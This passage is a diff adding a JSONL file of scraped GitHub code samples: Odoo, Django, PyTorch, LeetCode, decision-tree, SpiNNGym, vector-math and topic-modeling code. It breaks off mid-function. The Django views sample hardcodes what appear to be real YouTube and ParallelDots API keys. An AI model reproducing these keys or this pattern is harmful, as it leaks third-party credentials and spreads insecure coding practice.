diff --git "a/3755.jsonl" "b/3755.jsonl" new file mode 100644--- /dev/null +++ "b/3755.jsonl" @@ -0,0 +1,369 @@ +{"seq_id":"40695383307","text":"from odoo import api, models\n\n\nclass ProjectTask(models.Model):\n _name = \"project.task\"\n _inherit = [\"project.task\", \"hr.timesheet.time_control.mixin\"]\n\n @api.model\n def _relation_with_timesheet_line(self):\n return \"task_id\"\n\n @api.depends(\n \"project_id.allow_timesheets\",\n \"timesheet_ids.employee_id\",\n \"timesheet_ids.unit_amount\",\n )\n def _compute_show_time_control(self):\n result = super()._compute_show_time_control()\n for task in self:\n # Never show button if timesheets are not allowed in project\n if not task.project_id.allow_timesheets:\n task.show_time_control = False\n return result\n\n def button_start_work(self):\n result = super().button_start_work()\n result[\"context\"].update({\"default_project_id\": self.project_id.id})\n return result\n","repo_name":"OCA/project","sub_path":"project_timesheet_time_control/models/project_task.py","file_name":"project_task.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":235,"dataset":"github-code","pt":"31"} +{"seq_id":"30129644180","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Post\nfrom PyDictionary import PyDictionary\nfrom .models import Question,Answer,User\nfrom paralleldots import set_api_key, sentiment, ner, keywords,intent\nimport pdfkit\n\n\n###FOR YOUTUBE API\nimport argparse\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\nDEVELOPER_KEY = 'AIzaSyCj9VfJo625SsADDXqX87iyOZhsYTC_MHk'\nYOUTUBE_API_SERVICE_NAME = 'youtube'\nYOUTUBE_API_VERSION = 'v3'\n\nset_api_key(\"WjlcgNCnULlVMiRc47ob2ybV0aVS0aR8VhoQUBpayBs\")\n\ndef courses(request):\n return render(request, 'coursera.html')\n\ndef coursera(request):\n print (\"here\")\n if request.method == 'POST':\n search_id = request.POST.get('textfield', None)\n searchfile = open(\"C:/Users/Niti123/Desktop/askmeout/app/HEY.txt\", \"r\")\n courses = {}\n i=0\n for line in searchfile:\n if search_id in line:\n print (line)\n i=i+1\n courses[i] = line\n searchfile.close()\n return render(request, 'coursera.html', {'data': courses.items()})\n\ndef posts(request):\n posts = Post.objects.order_by('created_date')\n return render(request, 'post_list.html', {'posts':posts,})\n\n\ndef new_post(request):\n print(\"yo\")\n if request.user.is_authenticated:\n if request.method == \"POST\":\n author = request.user\n text = request.POST.get('text')\n title = request.POST.get('title')\n post = Post.objects.create(author=author,explanation=text,word=title)\n post.save()\n return redirect('/posts/')\n else:\n return render(request, 'post_add.html')\n else:\n return HttpResponseRedirect('/login')\n\ndef searchDef(request):\n if request.method == 'POST':\n search_id = request.POST.get('textfield', None)\n dictionary=PyDictionary()\n dict = dictionary.meaning(search_id)\n post = Post.objects.filter(word = search_id).values()\n selfdict = {}\n for newthing in post:\n print (newthing)\n value = [newthing['explanation']]\n print (newthing['id'])\n name = Post.objects.get(id=newthing['id'])\n key = name.author\n selfdict[key] = value\n return render(request, 'define.html', {'data': dict.items(), 'selfdict': selfdict.items()})\n\n\ndef youtube_search(word):\n youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\n developerKey=DEVELOPER_KEY)\n\n # Call the search.list method to retrieve results matching the specified\n # query term.\n search_response = youtube.search().list(\n q=word,\n part='id,snippet',\n maxResults=5\n ).execute()\n\n videos = []\n channels = []\n playlists = []\n dict = {}\n appendToID = \"https://www.youtube.com/watch?v=\"\n appendToPlaylistID = \"https://www.youtube.com/playlist?list=\"\n appendToChannelID = \"https://www.youtube.com/channel/\"\n # Add each result to the appropriate list, and then display the lists of\n # matching videos, channels, and playlists.\n for search_result in search_response.get('items', []):\n imageUrl = search_result['snippet']['thumbnails']['medium']['url']\n if search_result['id']['kind'] == 'youtube#video':\n videos.append([search_result['snippet']['title'],\n appendToID + search_result['id']['videoId'], imageUrl])\n elif search_result['id']['kind'] == 'youtube#channel':\n channels.append([search_result['snippet']['title'],\n appendToChannelID + search_result['id']['channelId'], imageUrl])\n elif search_result['id']['kind'] == 'youtube#playlist':\n playlists.append([search_result['snippet']['title'],\n appendToPlaylistID + search_result['id']['playlistId'], imageUrl])\n dict = {}\n if(videos!=[]):\n dict['Videos'] = videos\n if(channels!=[]):\n dict['Channels'] = channels\n if(playlists!=[]):\n dict['Playlists'] = playlists\n return (dict)\n\ndef search(request):\n if request.method == 'POST':\n search_id = request.POST.get('textfield', None)\n print (search_id)\n dict = youtube_search(search_id)\n return render(request, 'youtube.html', {'data': sorted(dict.items())})\n\ndef jargon(request):\n return render(request, 'jargon.html')\n\ndef define(request):\n return render(request, 'define.html')\n\ndef youtube(request):\n return render(request, 'youtube.html')\n\ndef ask(request):\n return render(request, 'ask.html')\n\ndef logout_blog(request):\n print (\"hi\")\n if request.user.is_authenticated:\n logout(request)\n return render(request,'logout.html')\n else:\n return HttpResponseRedirect('/login/')\n\ndef register(request):\n if request.method == 'POST':\n username = request.POST.get('email')\n password = request.POST.get('password')\n name = request.POST.get('name')\n user = User.objects.create(\n first_name = name,\n username = username,\n )\n user.set_password(password)\n user.save()\n\n user = authenticate(username = username, password = password)\n login(request, user)\n return redirect('/ask/')\n else:\n return render(request,'register.html') \n\ndef login_blog(request):\n if request.method == 'POST':\n username = request.POST.get('email')\n password = request.POST.get('password')\n user = authenticate(username = username, password = password)\n if user :\n if user.is_active:\n login(request,user)\n return redirect('/ask/')\n else:\n return HttpResponse('Disabled Account')\n else:\n return HttpResponse(\"Invalid Login details.Are you trying to Sign up?\")\n else:\n return render(request,'login.html')\n\n\n# Create your views here. \n######################################################\ndef questionDetail(request,id):\n #answer = Answer.objects.filter(qid = id)\n answer = Answer.objects.filter(quesid = id)\n question = Question.objects.get(qid = id) \n #question.answer_set.all()\n print(question)\n return render(request,'questionDetail.html',{'question':question, 'answer':answer})\n\n\ndef sentQues(request):\n if request.method == 'POST':\n quesName = request.POST.get('qname')\n q = Question(name=quesName, uid='0',boolValue='False')\n q.save()\n return render(request,'forum.html',{'questions':questions})\n\ndef trySentiment(request):\n if request.method == 'POST':\n sentence = request.POST.get('sent')\n data = sentiment(sentence)\n ans = data['sentiment']\n print(ans)\n return render(request,'trial.html',{'ans':ans})\n\ndef keywords(request):\n if request.method == 'POST':\n sentence = request.POST.get('sent')\n data = keywords(sentence)\n data = data['keywords']\n print(data)\n return render(request,'trial.html',{'data':data})\n\n\ndef tryNER(request):\n if request.method == 'POST':\n sentence = request.POST.get('sent')\n data = ner(sentence)\n nero = data['entities']\n print(nero)\n return render(request,'trial.html',{'nero':nero})\n\ndef sendAns(request,id):\n if request.method == 'POST':\n ansName = request.POST.get('ansname')\n a = Answer(name=ansName, uid='0', quesid=id,voting=0)\n a.save()\n return render(request,'forum.html')\n\ndef questions(request):\n return render(request,'post_list.html',{'posts': posts})\n\ndef forum(request):\n questions = Question.objects.all()\n return render(request, 'forum.html',{'questions':questions})\n\ndef trial(request,vid):\n call=Call.objects.filter(ccid=vid)\n return render(request, 'trial.html')\n\n\ndef tryIntent(request):\n if request.method == 'POST':\n sentence = request.POST.get('sent')\n datater = intent(sentence)\n answer = datater['intent']\n print(answer)\n return render(request,'trial.html',{'answer':answer})\n\ndef index(request):\n pdf = pdfkit.from_url(\"http://ourcodeworld.com\", \"ourcodeworld.pdf\")\n\n return HttpResponse(\"Everything working good, check out the root of your project to see the generated PDF.\")\n","repo_name":"Nits2097/AskMeOut","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37538929069","text":"import torch\nfrom tqdm import tqdm\nfrom utils import *\n\n\ndef barlow_train(args, model, unlabel_dl, optimizer, epoch):\n lr = [0.002, 0.002, 0.002, 0.002, 0.002, 0.002, 0.002, 0.0002]\n losses = 0\n\n model.train()\n scaler = torch.cuda.amp.GradScaler(enabled=True)\n optimizer.zero_grad()\n for img_1, table_1_img, table_2_img, table_3_img, img_2 in tqdm(unlabel_dl, desc = \"barlowtwins train\", position = 1, leave = False):\n for nlr in range(len(optimizer.param_groups)):\n optimizer.param_groups[nlr]['lr'] = cosine_anneal_schedule(epoch, args.epochs, lr[nlr]) \n img_1, table_1_img, table_2_img, table_3_img, img_2 = img_1.float().to(args.device), table_1_img.float().to(args.device), table_2_img.float().to(args.device), table_3_img.float().to(args.device), img_2.float().to(args.device)\n\n optimizer.zero_grad()\n with torch.cuda.amp.autocast(enabled=True):\n _, _, _, _, x_ft_1, _, _, _ = model(table_1_img)\n _, _, _, _, y_ft_1, _, _, _ = model(img_2)\n barlow_loss_1 = barlow_criterion(x_ft_1, y_ft_1)\n scaler.scale(barlow_loss_1).backward()\n scaler.step(optimizer)\n scaler.update()\n losses += barlow_loss_1\n\n optimizer.zero_grad()\n with torch.cuda.amp.autocast(enabled=True):\n _, _, _, _, _, x_ft_2, _, _ = model(table_2_img)\n _, _, _, _, _, y_ft_2, _, _ = model(img_2)\n barlow_loss_2 = barlow_criterion(x_ft_2, y_ft_2)\n scaler.scale(barlow_loss_2).backward()\n scaler.step(optimizer)\n scaler.update()\n losses += barlow_loss_2\n\n optimizer.zero_grad()\n with torch.cuda.amp.autocast(enabled=True):\n _, _, _, _, _, _, x_ft_3, _ = model(table_3_img)\n _, _, _, _, _, _, y_ft_3, _ = model(img_2)\n barlow_loss_3 = barlow_criterion(x_ft_3, y_ft_3)\n scaler.scale(barlow_loss_3).backward()\n scaler.step(optimizer)\n scaler.update()\n losses += barlow_loss_3\n\n optimizer.zero_grad()\n with torch.cuda.amp.autocast(enabled=True):\n _, _, _, _, _, _, _, x_ft_4 = model(img_1)\n _, _, _, _, _, _, _, y_ft_4 = model(img_2)\n barlow_loss_4 = barlow_criterion(x_ft_4, y_ft_4) * 2\n scaler.scale(barlow_loss_4).backward()\n scaler.step(optimizer)\n scaler.update()\n losses += barlow_loss_4\n \n return losses\n","repo_name":"kalelpark/FG-SSL","sub_path":"learner/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"19954520286","text":"'''\n\n给你两个 非空 链表来代表两个非负整数。数字最高位位于链表开始位置。它们的每个节点只存储一位数字。将这两数相加会返回一个新的链表。\n\n你可以假设除了数字 0 之外,这两个数字都不会以零开头。\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/add-two-numbers-ii\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n'''\nfrom LinkedList.ListNode import ListNode\n\n\nclass Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n l1_stack = []\n l2_stack = []\n while l1:\n l1_stack.append(l1)\n l1 = l1.next\n\n while l2:\n l2_stack.append(l2)\n l2 = l2.next\n\n if len(l1_stack) < len(l2_stack):\n l1_stack, l2_stack = l2_stack, l1_stack\n\n add_shift = 0\n while l2_stack:\n l2 = l2_stack.pop()\n l1 = l1_stack.pop()\n temp = (l2.val + l1.val + add_shift) // 10\n l1.val = (l2.val + l1.val + add_shift) % 10\n add_shift = temp\n\n while l1_stack:\n l1 = l1_stack.pop()\n temp = (l1.val + add_shift) // 10\n l1.val = (l1.val + add_shift) % 10\n add_shift = temp\n\n if add_shift > 0:\n start = ListNode(add_shift)\n start.next = l1\n return start\n\n return l1\n\n def addTwoNumbers2(self, l1: ListNode, l2: ListNode) -> ListNode:\n # 更快的实现\n l1_stack = []\n l2_stack = []\n while l1:\n l1_stack.append(l1)\n l1 = l1.next\n\n while l2:\n l2_stack.append(l2)\n l2 = l2.next\n\n add_shift = 0\n ans = None\n while l1_stack or l2_stack or add_shift != 0:\n # 当栈空了后,对应的值置为零\n a = ListNode(0) if not l1_stack else l1_stack.pop()\n b = ListNode(0) if not l2_stack else l2_stack.pop()\n\n temp = a.val + b.val + add_shift\n add_shift = temp // 10\n a.val = temp % 10\n a.next = ans\n ans = a\n\n return ans\n\n\n\n","repo_name":"JTShuai/LeetCode_Notes","sub_path":"LinkedList/445_两数相加 II.py","file_name":"445_两数相加 II.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24979711891","text":"from math import log\nimport operator\n\n# 创建一个简单的数据集用于测试\ndef createDataSet():\n dataSet = [[1, 1, 'yes'],\n [1, 1, 'yes'],\n [1, 0, 'no'],\n [0, 1, 'no'],\n [0, 1, 'no']]\n labels = ['no surfacing','flippers']\n return dataSet, labels\n\n# 计算给定数据集的熵\ndef calcShannonEnt(dataSet):\n # 计算数据集中的实例总数\n numEntries = len(dataSet)\n labelCounts = {}\n for featVec in dataSet:\n # 创建数据字典,其键值为最后一列的数值\n currentLabel = featVec[-1]\n # 如果当前键值不存在,则扩展字典并将当前键值加入字典\n if currentLabel not in labelCounts.keys():\n labelCounts[currentLabel] = 0\n # 更新标签出现次数\n labelCounts[currentLabel] += 1\n # 初始化熵值\n shannonEnt = 0.0\n for key in labelCounts:\n # 使用类别标签发生的频率计算出现的概率\n prob = float(labelCounts[key])/numEntries\n # 计算熵\n shannonEnt -= prob * log(prob,2)\n return shannonEnt\n\n# 测试熵计算函数\nmyDat,labels = createDataSet()\n#print(calcShannonEnt(myDat))\nmyDat[0][-1]='maybe'\n#print(myDat)\n#print(calcShannonEnt(myDat))\n\n# 按照给定特征划分数据集\n'''\n@dataSet:待划分的数据集\n@axis:划分数据集的特征\n@value:需要返回的特征的值\n'''\ndef splitDataSet(dataSet, axis, value):\n # 为了不修改原始数据集,我们创建一个新的列表对象\n retDataSet = []\n # 遍历数据集\n for featVec in dataSet:\n # 发现符合要求的值,将其添加到新创建的列表中\n if featVec[axis] == value:\n reducedFeatVec = featVec[:axis]\n #print(reducedFeatVec)\n reducedFeatVec.extend(featVec[axis + 1:])\n #print(reducedFeatVec)\n retDataSet.append(reducedFeatVec)\n return retDataSet\n\n# 测试划分数据集函数\n#a = [1,2,3]\n#b = [4,5,6]\n#a.append(b)\n#print(\"append\",a)\n#c = [7,8,9]\n#c.extend(b)\n#print(\"extend\",c)\n#print(splitDataSet(myDat,1,1))\n#print(splitDataSet(myDat,1,0))\n\n# 遍历整个数据集,循环计算熵和splitDataSet()函数,找出最好的特征划分方式\n'''\n函数中调用的数据要满足一定的要求:数据必须是一种由列表元素组成的列表,而且所有列表元素都要具有相同的数据长度;\n数据的最后一列或者每个实例的最后一个元素是当前实例的类别标签\n'''\ndef chooseBestFeatureToSplit(dataSet):\n # 有一个长度是标签所以-1\n numFeatures = len(dataSet[0]) - 1\n # 数据集划分之前的熵\n baseEntropy = calcShannonEnt(dataSet)\n bestInfoGain = 0.0\n bestFeature = -1\n # 遍历数据集中所有特征\n for i in range(numFeatures):\n # 将数据集中所有第i个特征值或所有可能存在的值写入新的list中\n featList = [example[i] for example in dataSet]\n # 将list转化为set去掉重复值\n uniqueVals = set(featList)\n # 初始化新的熵值\n newEntropy = 0.0\n # 遍历当前特征中所有唯一属性值,对每个唯一属性值划分一次数据集,得到新的熵值\n for value in uniqueVals:\n subDataSet = splitDataSet(dataSet, i, value)\n prob = len(subDataSet) / float(len(dataSet))\n newEntropy += prob * calcShannonEnt(subDataSet)\n # 计算信息增益,即熵减少情况(指数据无序度的减少情况)\n infoGain = baseEntropy - newEntropy\n # 比较所有特征中的信息增益,返回最好特征划分的索引值\n if (infoGain > bestInfoGain):\n bestInfoGain = infoGain\n bestFeature = i\n return bestFeature\n\n# 测试函数\n#print(chooseBestFeatureToSplit(myDat))\n\n# knn分类器,多数表决\ndef majorityCnt(classList):\n classCount = {}\n for vote in classList:\n if vote not in classCount.keys():\n classCount[vote] = 0\n classCount[vote] += 1\n sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)\n return sortedClassCount[0][0]\n\n# 创建树\n'''\n@dataSet:数据集\n@labels:标签列表,包含了数据集中所有特征标签,算法本身不需要这个变量但是为了给出数据的明确含义,我们将他作为一个输入参数提供。\n'''\ndef createTree(dataSet, labels):\n # 将所有数据标签添加到列表中\n classList = [example[-1] for example in dataSet]\n # 如果集合中类别完全相同,则停止划分,即列表中只有该标签\n if classList.count(classList[0]) == len(classList):\n return classList[0]\n '''\n 递归函数的第二个停止条件是使用完了所有特征,仍然不能将数据集划分成仅包含唯一类别的分组。由于第二个条件无法简单地返回唯一的\n 类标签,这里使用majorityCnt()挑选出现次数最多的类别作为返回值\n '''\n #print(\"dataSet[0]:\",dataSet[0])\n if len(dataSet[0]) == 1:\n return majorityCnt(classList)\n # 选择最优的分类属性\n bestFeat = chooseBestFeatureToSplit(dataSet)\n bestFeatLabel = labels[bestFeat]\n # 使用字典类型存储树\n myTree = {bestFeatLabel: {}}\n # 将最优属性从标签中删除,即下次接着从剩下属性中取最优\n del (labels[bestFeat])\n featValues = [example[bestFeat] for example in dataSet]\n # 将list转化为set去掉重复值\n uniqueVals = set(featValues)\n for value in uniqueVals:\n '''\n 得到当前剩余的特征标签,并将类标签复制到subLabels中,python中函数参数使列表类型时,参数使按照引用方式传递的。为了保证每次调用函数createTree()时,\n 不改变原始列表内容,使用新变量代替原始列表\n '''\n subLabels = labels[:]\n myTree[bestFeatLabel][value] = createTree(splitDataSet(dataSet, bestFeat, value), subLabels)\n return myTree\n\n# 测试函数\nmyTree = createTree(myDat,labels)\n# print(myTree)\n\n'''\n使用决策树的分类函数\n该函数也是一个递归函数,在存储带有数据特征的数据会面临一个问题:程序无法确定特征在数据集中的位置,特征标签列表将帮助程序处理这个问题\n@inputTree:决策树模型\n@featLabels:标签向量\n@testVec:测试样本\n'''\ndef classify(inputTree, featLabels, testVec):\n # 树的第一个键,即根节点\n firstSides = list(inputTree.keys())\n firstStr = firstSides[0]\n print(\"firstStr:\",firstStr)\n # 第一个键对应的值(字典)\n secondDict = inputTree[firstStr]\n print(\"secondDict:\", secondDict)\n # 第一个键(特征)在特征列表中的索引\n featIndex = featLabels.index(firstStr)\n print(\"featIndex:\", featIndex)\n # key是相应特征对应测试列表中的的取值,也即是父子节点间的判断\n key = testVec[featIndex]\n print(\"key:\", key)\n valueOfFeat = secondDict[key]\n print(\"valueOfFeat:\",valueOfFeat)\n # 当valueofFeat不再是字典类型时,退出迭代,此时已经得到分类结果\n if isinstance(valueOfFeat, dict):\n classLabel = classify(valueOfFeat, featLabels, testVec)\n print(\"classLabel:\",classLabel)\n else:\n classLabel = valueOfFeat\n print(\"classLabel:\", classLabel)\n return classLabel\n\n# 测试函数\nprint(labels)\nprint(myTree)\n# 因为之前的删除操作,所以此处恢复标签向量\nlabels = ['no surfacing','flippers']\nprint(classify(myTree,labels,[1,0]))\n\n# 使用pickle模块存储决策树,pickle模块读写过程中一定要采用二进制读写模式,不然会报错\n# 存储模型\ndef storeTree(inputTree, filename):\n import pickle\n fw = open(filename, 'wb+')\n pickle.dump(inputTree, fw)\n fw.close()\n\n# 加载模型\ndef grabTree(filename):\n import pickle\n fr = open(filename,'rb')\n return pickle.load(fr)\n\n","repo_name":"NanWangAC/MLCoding","sub_path":"DecisionTree/decisionTree.py","file_name":"decisionTree.py","file_ext":"py","file_size_in_byte":7964,"program_lang":"python","lang":"zh","doc_type":"code","stars":22,"dataset":"github-code","pt":"31"} +{"seq_id":"905769322","text":"import numpy\n\nfrom spinn_utilities.abstract_base import abstractproperty\nfrom spinn_utilities.overrides import overrides\n\n# PACMAN imports\nfrom pacman.model.graphs.application.abstract import (\n AbstractOneAppOneMachineVertex)\n\n# sPyNNaker imports\nfrom spynnaker.pyNN.models.common import PopulationApplicationVertex\nfrom spynnaker.pyNN.data import SpynnakerDataView\n\n\nclass SpinnGymApplicationVertex(\n AbstractOneAppOneMachineVertex,\n PopulationApplicationVertex):\n\n __slots__ = []\n\n def __init__(self, machine_vertex, label, n_atoms):\n \"\"\"\n Creates an ApplicationVertex which has exactly one predefined \\\n MachineVertex\n\n :param machine_vertex: MachineVertex\n :param str label: The optional name of the vertex.\n :type constraints: iterable(AbstractConstraint) or None\n :raise PacmanInvalidParameterException:\n If one of the constraints is not valid\n \"\"\"\n super(SpinnGymApplicationVertex, self).__init__(\n machine_vertex, label, n_atoms)\n\n @overrides(PopulationApplicationVertex.get_units)\n def get_units(self, name):\n if name == \"score\":\n return \"\"\n return super(SpinnGymApplicationVertex, self).get_units(name)\n\n def get_recorded_data(self, name):\n if name != \"score\":\n raise KeyError(f\"{name} was not recorded\")\n\n vertex = self.machine_vertices.pop()\n placement = SpynnakerDataView.get_placement_of_vertex(vertex)\n buffer_manager = SpynnakerDataView.get_buffer_manager()\n\n # Read the data recorded\n data_values, _ = buffer_manager.get_data_by_placement(placement, 0)\n data = data_values\n\n numpy_format = list()\n numpy_format.append((\"Score\", self.score_format))\n\n output_data = numpy.array(data, dtype=numpy.uint8).view(numpy_format)\n\n # return formatted_data\n return output_data\n\n def describe(self):\n \"\"\" Get a human-readable description of the cell or synapse type.\n\n The output may be customised by specifying a different template\n together with an associated template engine\n (see :py:mod:`pyNN.descriptions`).\n\n If template is None, then a dictionary containing the template context\n will be returned.\n\n :rtype: dict(str, ...)\n \"\"\"\n\n context = {\n \"name\": self.__class__.__name__\n }\n return context\n\n @abstractproperty\n def score_format(self):\n \"\"\"\n The numpy format for the scores data\n \"\"\"\n\n def __str__(self):\n return \"{} with {} atoms\".format(self._label, self.n_atoms)\n\n def __repr__(self):\n return self.__str__()\n","repo_name":"SpiNNakerManchester/SpiNNGym","sub_path":"spinn_gym/games/spinn_gym_application_vertex.py","file_name":"spinn_gym_application_vertex.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"72042112088","text":"import math\n\n\ndef lenght(vec1):\n\t\"\"\"Return length of the vector\"\"\"\n\tis_vector(vec1)\n\tbuf = 0\n\tfor coord in vec1:\n\t\tbuf += coord * coord\n\treturn math.sqrt(buf)\n\ndef scalar(vec1, vec2):\n\t\"\"\"Return scalar product vectors\"\"\"\n\tensure_vectors(vec1, vec2)\n\tbuf = 0\n\tfor i in range(len(vec1)):\n\t\tbuf += vec1[i] * vec2[i]\n\treturn buf\n\ndef cos(vec1, vec2, delta = 5):\n\t\"\"\"Return cos between two vectors\"\"\"\n\tensure_vectors(vec1, vec2)\n\treturn scalar(vec1, vec2) / (lenght(vec1) * lenght(vec2))\n\n\ndef is_equal(vec1, vec2, delta = 0):\n\t\"\"\"Check two vectors for equality\"\"\"\n\tensure_vectors(vec1, vec2)\n\tfor i in range(len(vec1)):\n\t\tif abs(vec1[i] - vec2[i]) > delta:\n\t\t\treturn False\n\treturn True\n\n\ndef add(vec1, vec2):\n\t\"\"\"Addition float/int constant or vector to the vector\"\"\"\n\tif ensure_vectors(vec1, vec2):\n\t\treturn [vec1[i] + vec2[i] for i in range(len(vec1))]\n\telse:\n\t\tv, num = vector_and_num(vec1, vec2)\n\t\treturn [v[i] + num for i in range(len(v))]\n\ndef sub(vec1, vec2):\n\t\"\"\"Subtraction float/int constant or vector from the vector\"\"\"\n\tif ensure_vectors(vec1, vec2):\n\t\treturn [vec1[i] - vec2[i] for i in range(len(vec1))]\n\telse:\n\t\tv, num = vector_and_num(vec1, vec2)\n\t\treturn [v[i] - num for i in range(len(v))]\n\ndef div(vec1, vec2, delta = 3):\n\t\"\"\"Division the vector on float/int constant or vector\"\"\"\n\tif ensure_vectors(vec1, vec2):\n\t\treturn [vec1[i] / vec2[i] for i in range(len(vec1))]\n\telse:\n\t\tv, num = vector_and_num(vec1, vec2)\n\t\treturn [v[i] / num for i in range(len(v))]\n\n\ndef mul(vec1, vec2):\n\t\"\"\"Multiplication the vector on float/int constant or vector\"\"\"\n\tif ensure_vectors(vec1, vec2):\n\t\treturn [(vec1[i] * vec2[i]) for i in range(len(vec1))]\n\telse:\n\t\tv, num = vector_and_num(vec1, vec2)\n\t\treturn [v[i] * num for i in range(len(v))]\n\n\ndef norm(vec1):\n\t\"\"\"Normalization the vector\"\"\"\n\tis_vector(vec1)\n\treturn div(vec1, lenght(vec1))\n\ndef is_colleniar(vec1, vec2, delta = 5):\n\t\"\"\"Check two vectors for colleniar\"\"\"\n\tensure_vectors(vec1, vec2)\n\treturn abs(cos(vec1, vec2, delta)) == 1.0\n\ndef is_one_direction(vec1, vec2, delta = 5):\n\t\"\"\"Check two vectors for the same direction or not\"\"\"\n\tensure_vectors(vec1, vec2)\n\treturn cos(vec1, vec2, delta) == 1.0\n\ndef is_opposite_direction(vec1, vec2, delta = 5):\n\t\"\"\"Check two vectors for opposite direction or not\"\"\"\n\tensure_vectors(vec1, vec2)\n\treturn cos(vec1, vec2, delta) == -1.0\n\n\ndef is_orthogonal(vec1, vec2, delta = 5):\n\t\"\"\"Check two vectors for orthogonal or not\"\"\"\n\tensure_vectors(vec1, vec2)\n\treturn cos(vec1, vec2, delta) == 0\n\n\ndef angular(vec1, vec2, delta = 5):\n\t\"\"\"Return angular between two vectors\"\"\"\n\tensure_vectors(vec1, vec2)\n\tcoss = cos(vec1, vec2, delta)\n\trad = math.acos(coss)\n\treturn round(rad / math.pi * 180, 3)\n\ndef projection(vec1, vec2):\n\t\"\"\"Return projection of vec2 vector on this vector\"\"\"\n\tensure_vectors(vec1, vec2)\n\treturn scalar(vec1, vec2) / lenght(vec2)\n\ndef change_direction(vec1):\n\t\"\"\"Return vector with opposite direction\"\"\"\n\tis_vector(vec1)\n\treturn tuple(vec1[i] * -1 for i in range(len(vec1)))\n\ndef to_str(vec1):\n\tstr = \"\"\n\tfor i in range(len(vec1) - 1):\n\t\tstr += f\"{vec1[i]}, \"\n\tstr += f\"{vec1[-1]}\"\n\treturn str\n\ndef ensure_vectors(v1, v2):\n\tif type(v1) != list or type(v2) != list:\n\t\treturn False\n\tif is_vector(v1) and is_vector(v2):\n\t\tensure_size(v1, v2)\n\treturn True\n\ndef is_vector(v):\n\tif type(v) != list:\n\t\tmess = f\"{v} is not vector. Vector must be list, not {type(v)}\"\n\t\traise TypeError(mess)\n\tfor item in v:\n\t\tif type(item) not in (int, float):\n\t\t\tmess = f\"Vector must contanin only int or float coordinates, {item} is {type(item)}\"\n\t\t\traise TypeError(mess)\n\treturn True\n\ndef ensure_size(v1, v2):\n\tif len(v1) != len(v2):\n\t\tmess = f\"first vector len - {len(v1)}, second vector len - {len(v2)}, lens are not similar\"\n\t\traise ValueError(mess)\n\treturn True\n\ndef vector_and_num(v, num):\n\tif type(v) == list:\n\t\tif is_vector(v) and type(num) in (int, float):\n\t\t\treturn v, num\n\t\telse:\n\t\t\tmess = f\"{num} must be list, int or float type, not {type(num)}\"\n\t\t\traise TypeError(mess)\n\telif type(num) == list:\n\t\tif is_vector(num) and type(v) in (int, float):\n\t\t\treturn num, v\n\t\telse:\n\t\t\tmess = f\"{v} must be list, int or float type, not {type(v)}\"\n\t\t\traise TypeError(mess)\n\telse:\n\t\traise TypeError(\"Arguments don't contain vector, vector must be list type\")","repo_name":"Danila-Ivashchenko/math_func","sub_path":"vector/vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32736049820","text":"# flake8: noqa\n# pylint: disable=invalid-name\n# pylint: disable=line-too-long\n# pylint: disable=missing-docstring\n# pylint: disable=too-many-arguments\n# pylint: disable=too-many-locals\n# pylint: disable=too-many-statements\n\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.decomposition import NMF, LatentDirichletAllocation\n\nfrom ..._common._read_records import read_records\nfrom ..._common.format_report_for_records import format_report_for_records\nfrom ..._common.make_report_dir import make_report_dir\nfrom ...analyze import tfidf\n\n\nclass TopicModeler:\n def __init__(self):\n #\n self.tf_matrix = None\n self.estimator = None\n self.records = None\n self.root_dir = None\n self.method = None\n self.n_components = None\n self.components = None\n self.documents_by_theme = None\n self.root_dir = None\n\n def build_tf_matrix(\n self,\n #\n # TF PARAMS:\n field: str,\n is_binary: bool = False,\n cooc_within: int = 1,\n #\n # ITEM FILTERS:\n top_n=None,\n occ_range=(None, None),\n gc_range=(None, None),\n custom_items=None,\n #\n # DATABASE PARAMS:\n root_dir=\"./\",\n database=\"main\",\n year_filter=(None, None),\n cited_by_filter=(None, None),\n **filters,\n ):\n self.root_dir = root_dir\n\n self.records = read_records(\n #\n # DATABASE PARAMS:\n root_dir=root_dir,\n database=database,\n year_filter=year_filter,\n cited_by_filter=cited_by_filter,\n **filters,\n )\n\n self.tf_matrix = tfidf(\n #\n # TF PARAMS:\n field=field,\n is_binary=is_binary,\n cooc_within=cooc_within,\n #\n # ITEM FILTERS:\n top_n=top_n,\n occ_range=occ_range,\n gc_range=gc_range,\n custom_items=custom_items,\n #\n # TF-IDF parameters:\n norm=None,\n use_idf=False,\n smooth_idf=False,\n sublinear_tf=False,\n #\n # DATABASE PARAMS:\n root_dir=root_dir,\n database=database,\n year_filter=year_filter,\n cited_by_filter=cited_by_filter,\n **filters,\n )\n\n def nmf(\n self,\n #\n # NMF PARAMS:\n n_components,\n init=None,\n solver=\"cd\",\n beta_loss=\"frobenius\",\n tol=0.0001,\n max_iter=200,\n alpha_W=0.0,\n alpha_H=0.0,\n l1_ratio=0.0,\n shuffle=False,\n random_state=0,\n ):\n self.method = \"nmf\"\n self.n_components = n_components\n self.estimator = NMF(\n n_components=n_components,\n init=init,\n solver=solver,\n beta_loss=beta_loss,\n tol=tol,\n max_iter=max_iter,\n alpha_W=alpha_W,\n 